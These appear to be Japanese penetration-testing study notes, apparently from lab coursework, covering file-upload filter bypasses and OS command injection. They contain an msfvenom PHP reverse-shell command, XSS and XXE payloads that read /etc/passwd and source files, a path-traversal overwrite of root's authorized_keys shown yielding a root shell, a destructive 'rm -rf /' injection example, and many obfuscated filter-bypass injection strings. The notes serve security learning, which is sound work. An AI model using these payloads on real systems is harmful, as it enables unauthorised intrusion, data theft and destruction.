:: Progress: [20115/20115] :: Job [1/1] :: 468 req/sec :: Duration: [0:00:56] :: Errors: 0 ::

```

#### リバースシェル

* <https://www.revshells.com/>
  * pentestmonkeyのPHPリバースシェル がよく使われる

カスタムリバースシェルの生成

* システムによっては、system関数がブロックされることもあるから、その時は、msfvenomとかでリバースシェルを作成するといい phpのリバースシェルの作成

```shell-session
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
```

### クライアントサイドバリデーション

* 多くのウェブアプリケーションでは、「フロントエンドのJavaScriptコードのみ」に依存して、選択されたファイル形式を検証している
* このファイル形式の検証はクライアントサイドで行われているため、サーバーと直接やり取りすることで簡単にバイパス可能
  * さらに、ブラウザの開発者ツールを使って、フロントエンドのコードを改変し、検証処理そのものを無効化することもできる

#### 回避

* クライアントサイドコードは完全に自分の制御下にある
* つまり、バックエンドでファイル検証が行われていない限り、どんなファイル形式でもアップロードできる

1. **アップロードリクエストを直接改変してサーバーに送信する**

* 画像を送るときのリクエストのcontent-typeがmultipart/form-dataだけで、pngだけに指定されてないから、filenameを.phpにしてもいいってこと
* ![](https://i.imgur.com/ELeAKdY.png)
* アップロード後、レスポンスで File successfully uploaded というメッセージが返ってくれば、アップロード成功
* そのリンクにアクセスすることで、アップロードされたウェブシェルを使ってリモートコード実行が可能になる

1. **フロントエンドコード（JavaScriptやHTML）を改変し、バリデーション処理を無効化する** ブラウザの開発者ツールを押して、プロフィール画像をクリックすると、ここがアップロードする部分だとわかる

```html
<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
```

ここで重要なのは以下の2点

* `accept=".jpg,.jpeg,.png"`：選択可能なファイル形式の制限
* `onchange="checkFile(this)"`：ファイル選択時にJavaScript関数を呼び出す処理

accept 属性は、選択ダイアログに影響するだけ

* 「すべてのファイル（All Files）」を選択すれば回避可能なので、ここを変える必要はない

注目すべきは checkFile(this) の部分

* この関数が、ファイル選択時にファイル形式の検証を実行しているよう
* 詳細を確認するには、CTRL + SHIFT + K でコンソールを開き、以下のように関数名の「checkfile」を入力する

```javascript
function checkFile(File) {
...SNIP...
    if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
        $('#error_message').text("Only images are allowed!");
        File.form.reset();
        $("#submit").attr("disabled", true);
    ...SNIP...
    }
}
```

この関数では、ファイルの拡張子が jpg、jpeg、png のいずれでもない場合に、

* 「Only images are allowed!（画像ファイルのみ許可されています！）」というメッセージを表示
* フォームをリセット
* アップロードボタンを無効化 というバリデーションの動作を行っていることがわかる
* **JavaScriptコードを編集する必要すらなく、HTMLから関数の呼び出しを削除するだけで十分**

```html
<input type="file" name="uploadFile" id="uploadFile" onchange="" accept=".jpg,.jpeg,.png">
```

### ブラックリストフィルター

* フロントでのバリデーションは容易に突破できる
* バックエンドのでのバリデーションもしっかり行わないといけない
* 今度は特定の拡張子を禁止する「ブラックリスト」によって、ウェブスクリプトのアップロードを防いでいる

クライアントサイドのバイパス手法を使ってもブロックされる時は、バックエンド側にもバリデーションがあるのが原因

* 一般的に、バックエンドでのファイル拡張子のバリデーションは以下のどちらか
  1. ブラックリスト方式（禁止された拡張子と照合）
  2. ホワイトリスト方式（許可された拡張子と照合）
* さらに進んだバリデーションでは、MIMEタイプやファイル内容そのものを確認することもある

\*\*拡張子のブラックリスト

* 最も脆弱な方式
  * なぜなら、完全なリストを維持するのが難しく、除外されていない拡張子から簡単にバイパス可能\*\*
* 例 アップロードされたファイル名から拡張子を抽出し、それが php, php7, phps のいずれかであれば、処理を中断して「許可されていません」と表示するコード

```php
$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');

if (in_array($extension, $blacklist)) {
    echo "File type not allowed";
    die();
}
```

この方法の欠点

* リストに含まれていない他のPHP系の拡張子（例：phtml, php5 など）ではすり抜けられる可能性がある
* MIMEタイプやファイル内容は一切見ていない
* 大文字小文字の区別をしているため、Php や pHp などの混合ケースの拡張子でバイパス可能

#### 回避

**拡張子のファジング（Fuzzing Extensions）**

* 何が許可されていて、何が許可されていないかをファジングによって明らかにする
* エラーメッセージが返ってこない、別のメッセージが返る、あるいはアップロードが成功する場合は、その拡張子が許可されている可能性がある

辞書

* 全体
  * `/opt/useful/seclists/Discovery/Web-Content/web-extensions.txt`
* .php
  * <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst>
* .NET
  * <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP>
*

適切な辞書を使って、Burp SuiteのIntruderでファジングする filenameのところの拡張子のところをファジングする ![](https://i.imgur.com/mA9VH6h.png)

URLのドットとかエンコードされるとダメなので、必ずオフにする!!!!! ![](https://i.imgur.com/M2dQZq4.png)

そして、許可されている拡張子を使って、ファイルをアップロードする

* すべての拡張子がすべてのウェブサーバー構成で動作するわけではないので、PHPコードの実行が成功する拡張子を見つけるためにいくつか試す必要があるかもしれない ![](https://i.imgur.com/e8og4q0.png)

拡張子ブラックリストのすり抜け方リスト

* PHP系：多様な拡張子が実行される。.php, .phtml, .php3, .php5, .phar, .inc なども要注意
* .NET系：.aspx, .ashx, .asmx, .cshtml, .vbhtml, .axd など。ブラックリストの抜け穴になりやすい
* Java系：.jsp, .jspx, .do, .action, .servlet など。設定やフレームワークによって拡張子が異なる
* Python/Node系：基本はルーティングで管理されるが、.py, .cgi, .fcgi, .js など意図せず実行される構成に注意
* 共通で注意すべき形式：.zip, .rar, .tar.gz（展開される場合）.html, .htm, .svg, .json（XSSやデータ注入のリスク）
* バイパス用テクニック：大文字小文字混在（例：.PhP）、ダブル拡張子（例：shell.php.jpg）、nullバイト注入（%00）、.htaccessによる強制実行設定など

### ホワイトリストフィルター

* ファイル拡張子の検証にはもう一つの方法があります。それが、許可された拡張子のホワイトリストを使用する方法
* ホワイトリストは一般的にブラックリストよりも安全とされている
* サーバーは指定された拡張子のみを許可するため、すべての危険な拡張子を網羅する必要がない
* PHPのコードで、ファイル名が指定された画像の拡張子を「含んでいるか」をチェックしているようなコード
  * 画像の拡張子が末尾に入っていない( .jpg.php )とかを許可してしまうことになる

```php
$fileName = basename($_FILES["uploadFile"]["name"]);

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}
```

#### 回避

* ブラックリストフィルターと同様に、ファジングを行う

**ダブル拡張子**

* 画像拡張子以外の辞書
  * <https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt>

**リバースダブル拡張子（Reverse Double Extension）**

* ファイルアップロード機能そのものには脆弱性がなくても、サーバー設定に脆弱性がある場合は依然として攻撃可能
* サーバー（Apacheなど）の設定が甘い時とか
  * Apacheの FilesMatch に $ がないと、**名前のどこかに .php が含まれるだけで実行される**
    * shell.php.jpg のようなファイルは、ファイル名の末尾が .jpg なのでアップロード時の検証を通過
    * しかし、ファイル名に .php を含むため、ApacheがそれをPHPファイルとして扱い実行してしまう

**文字注入 Character Injection**

* これは、ファイル名の拡張子の前後に特殊文字を挿入することで、Webアプリケーションやサーバーが拡張子を誤って解釈するように仕向けるテクニック
* 入れられる文字
  * `%20`
  * `%0a`
  * `%00`
    * **PHP 5.x以前のサーバー**では、%00（ヌルバイト）が文字列の終端と解釈される
    * つまり、サーバーはこのファイルを shell.php として保存・処理してしまい、PHPとして実行される
    * 一方、ファイル名には .jpg が含まれているため、ホワイトリスト検証は通る
  * `%0d0a`
  * `/`
  * `.\`
  * `.`
  * `…`
  * `:`
    * Windows環境では、コロン以降の部分が無視される（NTFS Alternate Data Streams）
    * このため、実際には shell.aspx として保存され、.aspx が実行される

スクリプトでファイル名のバリエーションを自動生成 以下のBashスクリプトを使えば、様々な文字注入パターンを**自動で生成**できる

文字注入+ダブル拡張子の辞書作成コマンド

```bash
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.php3' '.php4' '.php5' '.php7' '.php8' \
               '.pht' '.phar' '.phpt' '.pgif' '.phtml' '.phtm'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done
```

ダブル拡張子の辞書作成コマンド

```sh
#!/bin/bash
> double_wordlist.txt
for ext in '.php' '.php3' '.php4' '.php5' '.php7' '.php8' \
           '.pht' '.phar' '.phpt' '.pgif' '.phtml' '.phtm'; do
    echo "shell$ext.jpg" >> double_wordlist.txt
    echo "shell.jpg$ext" >> double_wordlist.txt

done
```

### Content-Typeフィルター

* 拡張子フィルターは、複数の拡張子（.jpg, .png, .gifなど）を許可する傾向があります。
* 一方で、ファイルの中身を検査するフィルターは、基本的に「画像」や「動画」、「ドキュメント」といった1つのカテゴリに制限されます。
* そのため、ブラックリストやホワイトリストのような方式ではなく、カテゴリベースの判断をするのが一般的です。

サーバーが中身を判断する方法は主に2つ 1. Content-Type ヘッダー（MIMEタイプ） 2. ファイル自体のバイナリ内容（マジックバイトなど）

* Content-Type ヘッダーは ブラウザが自動で設定しています（通常は拡張子に基づく）。
* つまり、これはクライアントサイドで制御可能なため、改ざんできるということ！

#### 回避

SecLists の web-all-content-types.txt を使って、Burp Intruder で Content-Type ヘッダーに対してファジングを実施する しかし、画像系のみ許可となっているので、image系のコンテンツタイプのみにする

```sh
wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
cat web-all-content-types.txt | grep 'image/' > image-content-types.txt
```

![](https://i.imgur.com/4vU8cE4.png)

* ファイルアップロードのHTTPリクエストには、Content-Typeが2箇所存在する場合がある

| **ヘッダーの種類**            | **内容**                  |
| ---------------------- | ----------------------- |
| リクエスト全体の Content-Type  | 通常は multipart/form-data |
| 添付ファイル部分の Content-Type | 各ファイルの「中身の種類」を示す        |

* 通常は添付ファイル側の Content-Type を変更する
* ただし、ファイルが POST データとして送信されている場合は、全体の Content-Type を変更する必要がある場合もある

### MIME-Typeフィルター

* MIME（Multipurpose Internet Mail Extensions）は、ファイルの形式やバイト構造から種類を判断するインターネット標準の仕組み
* この検証は通常、ファイルの最初の数バイト（いわゆる「マジックバイト」や「ファイルシグネチャ」）を調べることで行われる
* PNGやJPEGなどの他の画像フォーマットは、マジックバイトが「非表示のバイナリ（非印字文字）」なので扱いづらい
* 一方で GIF画像はGIF8というASCII文字列で始まるので、もっとも真似しやすい
  * GIF87a、GIF89a どちらも GIF8 を含むので、それだけでもGIFとして判定される場合が多い
* MIME タイプは、**Content-Typeヘッダーと似ていますが、取得元が違う**点に注意
  * Content-Type → クライアント（ブラウザ）が送ってくる
  * MIMEタイプ → **サーバー側でファイルの内容を直接見て判断する**

#### 回避

* PHPコードの前に GIF8 を追加して、ファイルの先頭を「GIF画像のように偽装」する
* そして、ファイルの拡張子は .php のままにしておくことで、サーバー側でPHPコードとして実行されることを狙う ![](https://i.imgur.com/xgVxJ1X.png)

| **拡張子**        | **Content-Type** | **MIMEタイプ** | **バイパスの意図**              |
| -------------- | ---------------- | ----------- | ------------------------ |
| ✅許可            | ✅許可              | ✅許可         | 正常な画像（通る）                |
| ❌拒否            | ✅許可              | ✅許可         | **拡張子だけNG → 実行される可能性あり** |
| ✅許可            | ❌拒否              | ✅許可         | **ヘッダー偽装必要**（Burpなど）     |
| ✅許可            | ✅許可              | ❌拒否         | **中身の偽装（GIF8など）で突破狙う**   |
| ✅許可            | ❌拒否              | ❌拒否         | ギリギリなケース、条件次第では通る        |
| ❌拒否            | ✅許可              | ❌拒否         | **拡張子だけで落ちる実装もある**       |
| ❌拒否            | ❌拒否              | ✅許可         | MIMEが優先されるケースで突破可能性あり    |
| ❌拒否            | ❌拒否              | ❌拒否         | 完全アウト（要バイパス技術）           |
| 実用的なバイパステクニック例 |                  |             |                          |

| **手法**                                     | **内容**                          |
| ------------------------------------------ | ------------------------------- |
| .php.jpg + GIF8 + PHPコード                   | 拡張子は画像、中身はPHP＋GIFマジックで実行狙う      |
| .jpg + Content-Type: image/gif + MIMEはGIF8 | **3重の画像偽装**でフィルターすり抜け           |
| .php + Content-Type: image/png + GIF8先頭    | サーバーが拡張子無視なら実行される               |
| .svg                                       | 一見画像だが**JavaScript埋め込み可能（XSS）** |
| .phtml, .php5                              | .phpがNGでも、**別拡張子なら通るサーバーも多い**   |
| コンテンツタイプとMIMEはイメージにして、ダブル拡張子でバイパスする例       |                                 |
| ![](https://i.imgur.com/ixpvD04.png)       |                                 |

### それ以外のフィルター・攻撃

アップロードフォームの中には、非常に厳格なフィルターが設定されていて、ここまで学んだ手法では突破できないケースも存在する

**許可されているファイルタイプを利用した攻撃** ファイルの種類によっては、悪意のあるデータを埋め込むことで、新たな脆弱性をWebアプリケーションに導入することが可能

可能になるファイルの種類

* SVG
* HTML
* XML
* 一部の画像や文書ファイル（PDF、Wordなど） なので、アップロードできる拡張子をファジングで調べることも非常に重要 それによって、**どんな攻撃がそのWebサーバーで実行可能か**が明らかになる

#### XSS

**HTMLファイルによるStored XSS**

* HTMLファイルはPHPのようなサーバーサイドコードは実行できませんが、JavaScriptを埋め込むことでXSSやCSRF攻撃を仕掛けることが可能
* サイトがHTMLファイルのアップロードを許していれば、被害者にそのファイルのURLを踏ませることでXSSが成立する

**画像メタデータによるXSS**

* 一部のWebアプリでは、アップロードされた画像のメタデータを表示するものがある
* このようなアプリでは、Comment や Artist のようなテキストフィールドにXSSペイロードを仕込むことができる

```shell-session
snowyowl644@htb[/htb]$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
snowyowl644@htb[/htb]$ exiftool HTB.jpg
...SNIP...
Comment                         :  "><img src=1 onerror=alert(window.origin)>
```

* さらに、MIME-Typeを text/html に偽装すれば、画像としてではなくHTMLとして表示され、XSSが成立する可能性もある

**SVGファイルによるXSS**

* SVG（Scalable Vector Graphics）はXMLベースの画像形式です。XMLの中に `<script>` タグを埋め込めば、XSSを仕掛けることが可能

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
```

#### XXE

XXE : XML External Entity SVGはXMLベースなので、**XXE（外部エンティティ参照）攻撃にも利用可能**

**「これ、upload.phpのhtmlコードに取得したファイルの中身が出てくる！！！」** /etc/passwd をリークする例

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```

PHPファイルのソースコードをbase64で抜き出す例

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```

* こうしたXXE攻撃は、SVGだけでなくPDF、Word、PowerPointなどXMLを内部構造に持つドキュメント形式にも応用可能
* ビューアがXXEに対して脆弱であれば、ブラインドXXEやSSRF攻撃にも発展する

#### DoS

ファイルアップロードを悪用して**サーバーに負荷をかけてクラッシュさせる**こともできる XXEによるDoS

* XXE（XML External Entity）の悪用でリソースを枯渇させる攻撃
  * 無限エンティティ展開や再帰構造によって、XMLパーサーに過剰な負荷をかけて停止させる
  * SVGやXMLドキュメントで仕掛けやすい

ZIP爆弾（Decompression Bomb）

* 自動解凍されるファイルを利用したクラッシュ攻撃
  * ZIP内に再帰的に圧縮された大量のファイルを入れておく
  * 解凍時に膨大な容量（例：数PB）になり、サーバーのディスクやメモリを圧迫

ピクセルフラッド攻撃（画像サイズ偽装）

* JPEGやPNG画像の圧縮情報を改ざんしてリソース消費を引き起こす
  * 例：画像サイズを `(0xffff x 0xffff)`（約4ギガピクセル）と偽装
  * サーバーが表示処理で大量のメモリを確保しようとしてクラッシュ

その他のDoS手法

* アップロード機能を悪用してサーバーに過剰な負荷を与える方法
  * 極端に大きなファイルをアップロードしてストレージを圧迫
  * ディレクトリトラバーサルで `/etc/passwd` などの重要ファイルに書き込んでシステム障害を引き起こす

#### その他の攻撃

ファイル名インジェクション

* ファイル名に悪意ある文字列を埋め込んで攻撃
  * OSコマンド：file$(whoami).jpg → コマンドインジェクション
  * XSS：`<script>alert(1)</script>` → ファイル名表示時に実行
  * SQLi：file';select+sleep(5);--.jpg → クエリ破壊

アップロードディレクトリの開示

* 保存場所（uploadsパス）を特定するための攻撃
  * LFIやXXEでソースコードからパスを調べる
  * 同名ファイルアップロードでエラーを発生させる
  * 超長いファイル名やタイミング攻撃で例外を誘発

Windows特有のテクニック

* Windowsに依存するファイル名の仕様を悪用
  * 特殊文字（< > | \* ?）でエラー誘発・情報漏洩
  * 予約語（CON, NUL, COM1など）は作成できずエラー
  * 8.3形式ファイル名（HAC\~1.TXT）で上書きや不正アクセス

高度なファイル処理の悪用

* アップロード後の自動処理を狙う
  * ffmpeg処理でのXXE（例：AVIファイルの罠）
  * 圧縮・変換・リネーム処理に脆弱性があればRCEも可能
  * ライブラリや独自実装の不備からバグバウンティ事例多数

### ファイルの上書き保存

バリデーションがしっかりされている or ファイルのアップロードはできるが、ファイルが実行されないというケースは、よくあるが、この時、サーバー内のsshキーを上書き保存することで、突破できるかもしれない。

確認方法

1. まず、ファイルを2回アップロードした場合に何が起こるかを確認する必要がある。上書きされるのか、別の名前でファイルが作られるのか。この時、「**上書きできる**」& 「**ファイル名に../をつけることが出来る**」のであれば、以下に進める。
2. ssh-keygenでsshの秘密鍵と公開鍵を作る

```sh
ssh-keygen
```

3. 作成された公開鍵をauthorized\_keysという名前に変える

```sh
mv /home/kali/.ssh/id_ed25519.pub ~/Desktop/PEN-200/authorized_keys
```

4. ファイル名を`../../../../../../../../../../root/.ssh/authorized_keys`に変更して、アップロードする

* これが成功したら、rootとしてsshに接続できる ![](https://i.imgur.com/NBcQcXM.png)

5. きちんとsshで接続できるのかを試す

```sh
┌──(kali㉿kali)-[~/Desktop/PEN-200]
└─$ ssh -p 2222 -i fileup root@mountaindesserts.com
Warning: Identity file fileup not accessible: No such file or directory.
The authenticity of host '[mountaindesserts.com]:2222 ([192.168.236.16]:2222)' can't be established.
ED25519 key fingerprint is SHA256:R2JQNI3WJqpEehY2Iv9QdlMAoeB3jnPvjJqqfDZ3IXU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[mountaindesserts.com]:2222' (ED25519) to the list of known hosts.
Linux 739baea4a147 5.4.0-212-generic #232-Ubuntu SMP Sat Mar 15 15:34:35 UTC 2025 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@739baea4a147:~# whoami
root

```

この時エラーが起きたら、以下のコマンドを行う

```sh
rm ~/.ssh/known_hosts
```

## Command Injection

コマンドインジェクションとは？

* ユーザー入力を悪用して、サーバー上で意図しない「システムコマンド」を実行できてしまう脆弱性
  * 例：ファイルを作る・削除する・他のシステムにアクセスするなど
  * 最悪、サーバーやネットワーク全体が乗っ取られる危険もある

### OSコマンドインジェクションの具体例

#### PHPの場合

* `system()` などの関数にユーザー入力を直接使っていると危険

```php
<?php
if (isset($_GET['filename'])) {
    system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>
```

* filename に "; rm -rf /;" みたいなコマンドを入れると、とんでもないことに…

#### Node.jsの場合

* child\_process.exec() にそのまま使うと同じく危険

```
app.get("/createfile", function(req, res){
    child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})
```

#### どうやって防ぐ？

* ユーザー入力は**絶対に直接コマンドやクエリに使わない**
  * サニタイズ（不正な文字を除去・無効化）する
  * ホワイトリスト（許可された値のみ許容）を使う
* フレームワークやライブラリの安全な関数を使う
* 不要なコマンド実行処理を避ける（設計段階で工夫）

### 検出

* ユーザーの入力がそのまま直接コマンドやクエリに使われているときにコマンドインジェクションが起きる

コマンドインジェクションの手法

* これらの演算子のいずれかを使って、別のコマンドを注入することで、両方またはいずれかのコマンドを実行させることができる
* 基本的なコマンドインジェクションでは、上の全ての演算子がweb appのフレームワークや言語に限らず使える
* 唯一の例外はセミコロン（;）で、これはWindowsのコマンドライン（CMD）で実行されている場合には機能しない
  * ただし、Windows PowerShellで実行されている場合は使える

> ポイント

* **インジェクション文字だとうまくいかなくても、URLエンコードされた文字だとうまくいくこともあるので、URLエンコードされた文字も必ず試す!!**
* 改行文字（new-line character）は通常ブラックリストに含まれていないことが多い
  * サービスの中でも使ってることがあるから

| **インジェクション演算子** | **インジェクション文字** | **URLエンコードされた文字** | **実行されるコマンド**           |
| --------------- | -------------- | ----------------- | ----------------------- |
| セミコロン           | ;              | %3b               | 両方                      |
| 改行(new-line)    | \n             | %0a               | 両方                      |
| バックグラウンド        | &              | %26               | 両方（2番目が先に出力されることが多い）    |
| パイプ             | \|             | %7c               | 両方　(2番目のみのコマンドの出力される)   |
| AND             | &&             | %26%26            | 両方（1つ目が成功した場合のみ2つ目実行）   |
| OR              | \|\|           | %7c%7c            | 二番目(1つ目が失敗した場合)         |
| Tab             |                | %09               | スペースフィルターがかかっている場合のバイパス |
| サブシェル（バッククォート）  | \`\`           | %60%60            | 両方（Linuxのみ）             |
| サブシェル（$()）      | $()            | %24%28%29         | 両方（Linuxのみ）             |

コードが実行される場所を確認するためのコードスニペット

```
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
```

### フィルターバイパス

* アプリケーション側はインジェクションを防ぐために色々な対策をしている
  * フロントエンドでの形式チェック（例：IPアドレスしか受け付けない）
  * バックエンドでのブラックリストチェック（特定の文字やコマンドを禁止）
  * WAF（Webアプリケーションファイアウォール）による検知とブロック

#### ブラックリスト型フィルターのバイパス

* 特定の文字やコマンドを「危険」として検出・拒否する仕組み
  * 例：`;`, `&&`, `||`, `|`, `whoami` などが対象
  * PHPなどで以下のようにチェックされることがある

```php
$blacklist = ['&', '|', ';'];
foreach ($blacklist as $c) {
	if (strpos($_POST['ip'], $c) !== false) {
		echo "Invalid input";
	}
}

```

どうやってブロックされた原因を調べる？

* 入力を少しずつ変えて試す（＝フィルター調査）
* OKだったものからスタート（例：127.0.0.1）
* 少しずつ文字を追加してどこでブロックされるか確認
* 例：127.0.0.1; → NGなら ; が原因
* こうすることで、「どの文字がブロックされたのか」を特定できる

ブロックの種類

* アプリ側（PHPなど）でブロック
* 出力欄に「Invalid input」などのエラーメッセージが表示される
* WAFでブロック
* 別の画面にリダイレクトされ、IPやリクエスト情報が表示されることもある

まとめ

* 表面的にブロックされても、裏側で処理されていないこともある（＝バイパス可能）
* ブロックされた理由を「少しずつ試して特定」するのが重要
* ブラックリスト方式には限界があるので、回避方法を知ることが攻撃/防御の第一歩

#### スペースフィルターのバイパス

スペースフィルターとは？

* スペース（空白文字）を禁止する or チェックするフィルターのこと

例 : 改行文字スペースで、コマンドインジェクションを使用とするとエラーになる

```sh
127.0.0.1%0a whoami
```

**タブによるバイパス**

* スペースフィルターのバイパスには、スペースの代わりに\*\*タブ（%09）\*\*が使える

```sh
127.0.0.1%0a%09whoami
```

**$IFSでのバイパス**

* Linuxの環境変数$IFS（Internal Field Separator）はデフォルトでスペースとタブを含んでおり、コマンド引数の間に使用することで動作する
* スペースの代わりに${IFS}を使用すれば、自動的にスペースとして解釈され、コマンドが機能する

```sh
127.0.0.1%0a${IFS}whoami
```

**波括弧展開（Brace Expansion)でのバイパス**

* Bashの波括弧展開（Brace Expansion）機能を使えば、引数の間にスペースを含めずにコマンドを分割することができる
* スペースを使わずに両方のコマンドを正常に実行できるから、スペースフィルタの回避にも便利

```sh
127.0.0.1%0a{ls,-la}
```

#### その他のブラックリスト文字のバイパス

* 「スラッシュ（/）」や「バックスラッシュ（\）」もよくブラックリストに登録されていることがある
* ブラックリスト文字を使わずに、必要な文字を生成するためのテクニックはいくつか存在する

**Linux**

* Linuxの環境変数を使うことで、スラッシュや他の文字を生成することができる
* ${IFS}のようにスペースが直接代入されている環境変数はありますが、スラッシュやセミコロンに対応する特定の環境変数は存在しない ⇨ スラッシュやセミコロンが含まれている環境変数から、その文字の位置と長さを指定することで取り出すことが可能

**$PATH環境変数** $HOME や $PWD といった他の環境変数や、環境変数を覗いてみると、こんな感じになっている

```shell-session
snowyowl644@htb[/htb]$ echo ${PATH}
/usr/local/bin:/usr/bin:/bin:/usr/games
```

なので、環境変数の文字列の先頭一文字だけを取り出すと、スラッシュが手にはいる

```sh
snowyowl644@htb[/htb]$ echo ${PATH:0:1}
/ 
```

同様の手口で、セミコロンも取り出せる

* 環境変数 LS\_COLORS の10文字目から1文字だけを取り出すと、セミコロンが得られる

```shell-session
snowyowl644@htb[/htb]$ echo ${LS_COLORS:10:1}
;
```

応用

* printenvコマンドを使えば、Linux上のすべての環境変数を表示できる
* そこから有用な文字を含んでいる変数を探し、必要な文字だけを切り出して使用するという戦略が立てられる

最終的なバイパスペイロードの例 これで、ブラックリストに含まれている文字を直接使わずに`127.0.0.1; 任意のコマンド`というコマンドにできる

```sh
127.0.0.1${LS_COLORS:10:1}${IFS}
```

**Windows**

* 環境編集から、バックスラッシュを取得するというのは、Windowsでもできる

**CMD**

```cmd
C:\htb> echo %HOMEPATH:~6,-11%

\
```

**Powershell**

* PowerShellでは文字列は配列のように扱われるため、取り出したい文字のインデックスを指定するだけで取得できる

```powershell-session
PS C:\htb> $env:HOMEPATH[0]
\
PS C:\htb> $env:PROGRAMFILES[10]
PS C:\htb>
```

**文字シフト（Character Shifting）**

* 必要な文字を直接使わずに生成する別のテクニック
* 入力された文字をASCIIコードで**1つ先にシフト**させて出力するLinuxコマンド

```shell-session
snowyowl644@htb[/htb]$ man ascii     # \ is on 92, before it is [ on 91
snowyowl644@htb[/htb]$ echo $(tr '!-}' '"-~'<<<[)
\
```

#### ブラックリストのコマンドのバイパス

* 1文字ずつのフィルターを回避する方法をいくつか見てきた
* しかし、ブラックリスト登録された「コマンド」を回避する場合は、また異なる手法が必要になる
* もしそれらのコマンドを別の形で見せかける（難読化する）ことができれば、フィルターをバイパスできる可能性がある

コマンドに対するブラックリストの確認

* このとき、スペースやセミコロンといった文字はブロックされていないにもかかわらず、リクエストが再びブロックされた
* これはおそらく、別の種類のフィルター、つまり「コマンドのブラックリスト」によるもの

PHPのコマンドブラックリスト

```php
$blacklist = ['whoami', 'cat', ...省略...];
foreach ($blacklist as $word) {
    if (strpos($_POST['ip'], $word) !== false) {
        echo "Invalid input";
    }
}
```

**コマンド難読化（Obfuscation）の手法**

* 仕組みの場合、少しでも異なる形でコマンドを記述すれば、検出をすり抜ける可能性がある
* 幸いなことに、難読化のテクニックを使えば、コマンド名そのものを使わずに同じ動作を実行することが可能

よく使われるコマンド難読化

* コマンドの途中に特定の文字を挿入するという方法
* これらの文字は、Bash や PowerShell のようなコマンドシェルでは**無視される**
* あたかも何も挿入されていないかのように、コマンドが正しく実行される
  * このように無視される文字には、「シングルクォート（'）」や「ダブルクォート（"）」などがある

**Linux・Windows**

* LinuxとWindowsの両方で使えるテクニック

シングルクオートの挿入

```shell-session
21y4d@htb[/htb]$ w'h'o'am'i
21y4d
```

ダブルクオートの挿入

```shell-session
21y4d@htb[/htb]$ w"h"o"am"i
21y4d
```

注意点

* **クォートの種類は混ぜない**こと（シングルとダブルを混ぜない）
* **クォートの数は偶数**である必要がある（1つだけだと構文エラーになる）

**Linux**

* クォート以外にもいくつかの文字をコマンドの途中に挿入しても、Bashシェルがそれを無視して処理してくれる場合がある
* 代表的なものは
  * バックスラッシュ（\）
  * 位置パラメータ $@（スクリプト内で全引数を表す）

```bash
who$@ami
w\ho\am\i
```

これまでのバイパス手法を使ったコマンド

```sh
127.0.0.1%0a%09{c$@at,..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt}
```

**Windows**

* Windowsでも、コマンドの途中に特定の文字を挿入しても動作に影響しないという性質を利用した難読化が可能
* 代表例
  * キャレット（^）

```cmd
C:\htb> who^ami
21y4d
```

#### 高度なコマンド難読化

**大文字・小文字の操作**

* wafとかがしっかりしたやつが入ってると、基本的な回避テクニックが適用されないこともある
* このような状況では、より高度なテクニックを使うことで、注入されたコマンドが検出される可能性を大きく減らすことができる
* この方法が有効な理由は、ブラックリストによるコマンドのチェックが「正確な単語」にしか反応しない場合があるから
* 特にLinuxでは、システム自体が大文字と小文字を区別する（case-sensitive）ため、少しでも異なると別のコマンドとして扱われる 例
* 全部大文字にする：WHOAMI
* 大文字・小文字を交互にする：WhOaMi

**Windows**

```cmd
PS C:\htb> WhOaMi
21y4d
```

**Linux**

* 以下のようなコマンドを使うことで、コマンドをすべて小文字に変換してから実行することができる

```
21y4d@htb[/htb]$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
21y4d
```

* このコマンドでは、aに代入された文字列を `${a,,}` で小文字化し、printfで出力・実行している

```sh
$(a="WhOaMi"; printf %s "${a,,}")
```

フィルターされる文字の注意点

* ただし、このコマンドをWebアプリケーション（例：Host Checker）で使ってみると、リクエストがブロックされてしまうことがある
* その原因は何でしょうか？
  * 答えは、このコマンドに「スペース文字」が含まれているからです。以前に確認したように、スペースはフィルター対象となっている
  * しっかり難読化の時もそれぞれのbバイパスは忘れずに行う
